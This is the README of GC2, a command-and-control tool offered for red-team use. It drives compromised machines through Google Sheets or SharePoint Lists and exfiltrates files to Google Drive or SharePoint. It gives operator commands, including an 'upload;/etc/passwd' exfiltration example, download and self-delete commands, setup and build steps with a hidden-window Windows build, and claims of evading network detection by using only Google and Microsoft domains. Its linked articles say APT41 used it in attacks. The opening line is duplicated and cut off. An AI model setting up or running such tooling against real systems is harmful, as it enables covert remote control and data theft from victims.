GC2 is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and e
GC2 is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and e
GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document.
This project has been developed to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.
Furthermore, the program will interact only with Google and Microsoft's domains (like *.google.com) to make network detection more difficult.
A Google Sheet will be automatically created by the C2. Once created you can interact with the compromised system as shown below.
A Microsoft SharePoint List will be automatically created by the C2. Once created you can interact with the compromised system as shown below.
Special command is reserved to exfiltrate files form the target system.
From Target to Google Drive/Microsoft SharePoint Document
upload;
Example:
upload;/etc/passwd
Note: files with the same name are automatically overwritten.
Special command is reserved to download files to the target system.
From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt
Note: Files need to be saved in the SharePoint root folder, usually "Documents"
From SharePoint to Target
download;;
Example:
download;download.txt;/home/user/downloaded.txt
By sending the exit command, the C2 will kill and delete itself from the target system.
PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case, the symlink is deleted.
This C2 support both Google (Google Sheet + Google Drive) and Microsoft (SharePoint Lists + SharePoint Document) services. To use the C2 you need to set up both the local and cloud configuration.
Create a new Google "service account"
Create a new Google "service account" using https://console.cloud.google.com/, create a .json key file for the service account.
Enable Google Sheet API and Google Drive API
Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Set up Google Sheet and Google Drive
Create a new Google Sheet and share it (as Editor) with the Service Account (by using its email).
Create a new Google Drive folder and share it (as Editor) with the Service Account (by using its email).
To interact with Microsoft services you will first need a Business subscription (you can get one for free for the first 30 days).
Create an Azure Application
Create a new Azure Aapplication as described here https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
After creating the new application, enable the following Graph APIs:
Download the C2
The C2 can be cloned directly from GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Configure the C2
To configure the C2 you need to modify the cmd/options.yml file. The C2 supports both Google and Microsoft services, mixing them is also possible.
Only Google services
…
Your Google service account key must be escaped before pasting it in the configuration file. You can use the following command to escape it:
```
cat key.json | jq -r @json | sed 's/\n/\\n/g' | sed 's/"/\"/g'
*Only Microsoft services*
…
*Mixing Google and Microsoft services*
…
6. **Build the executable**
Few examples on how cross compile the C2 for different OS and architecture.
```
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
```
7. **Run**
After compiling execute it.
```
./gc2-sheet
```
The beacon will automatically create a new Google Sheet or Microsoft SharePoint List accordingly to your configuration.
## Troubleshooting
Most of the errors can be detected by setting the `verbose` flag to `true`. By default, the C2 does not generate any output or error information.
# DEF CON Slides + demo
[DEF CON Slide](https://drive.google.com/file/d/1cokEcUcxgR4pNRRF5lIXCsNW8kh4ME42/view?usp=sharing)
[Demo](https://youtu.be/n2dFlSaBBKo)
[Demo](https://youtu.be/pLfuZnLcR1o) by [Grant Collins](https://www.youtube.com/@collinsinfosec)
# Disclaimer
The owner of this project is not responsible for any illegal usage of this program.
This is an open source project meant to be used with authorization to assess the security posture and for research purposes.
The final user is solely responsible for their actions and decisions. The use of this project is at your own risk. The owner of this project does not accept any liability for any loss or damage caused by the use of this project.
# Support the project
**Pull request** or [](https://www.paypal.com/donate?hosted_button_id=8EWYXPED4ZU5E)
## Contributors
[Paolo Conizzoli](https://github.com/paoloconi96)
# Articles related to this tool
[DEF CON 32](https://forum.defcon.org/node/249630); [DEF CON 32 Reddit](https://www.reddit.com/r/Defcon/comments/tx7tg2/mega_def_con_info_for_your_planning_enjoyment/)
[Google](https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf)
[The Hacker News](https://thehackernews.com/2023/04/google-uncovers-apt41s-use-of-open.html)
[Reddit](https://www.reddit.com/r/cybersecurity/comments/12u3wvl/top_cybersecurity_stories_for_the_week_of_041723/)
[LinkedIn](https://www.linkedin.com/pulse/hacking-tutorial-google-sheets-command-control-c2-server-maxwell-zhou/)
[Bleeping Computer](https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/)
[Security Affairs](https://securityaffairs.com/144915/apt/china-apt41-tool-gc2.html)
[Icrewplay](https://tech.icrewplay.com/gc2-strumento-google-gruppo-cinese-apt41/?utm_content=cmp-true)
[Information Security Buzz](https://informationsecuritybuzz.com/google-uncovers-apt41-tools-targeting-media-and-job-sites/)
[Hackdig](http://en.hackdig.com/04/477620.htm)
[Hakin9](https://hakin9.org/gc2-command-and-control-application/)
[RedPacketSecurity](https://www.redpacketsecurity.com/gc2-a-command-and-control-application-that-allows-an-attacker-to-execute-commands-on-the-target-machine-using-google-sheet-and-exfiltrate-data-using-google-drive/)
[Cyware](https://cyware.com/news/apt41-uses-open-source-red-teaming-tool-gc2-9eaecb18)
[Kitploit](https://www.kitploit.com/2021/10/gc2-command-and-control-application.html)
News mentioning malware using the same concept:
[The Hacker News - Voldemort](https://thehackernews.com/2024/08/cyberattackers-exploit-google-sheets.html)
[Bleeping Computer - Voldemort](https://www.bleepingcomputer.com/news/security/new-voldemort-malware-abuses-google-sheets-to-store-stolen-data/)
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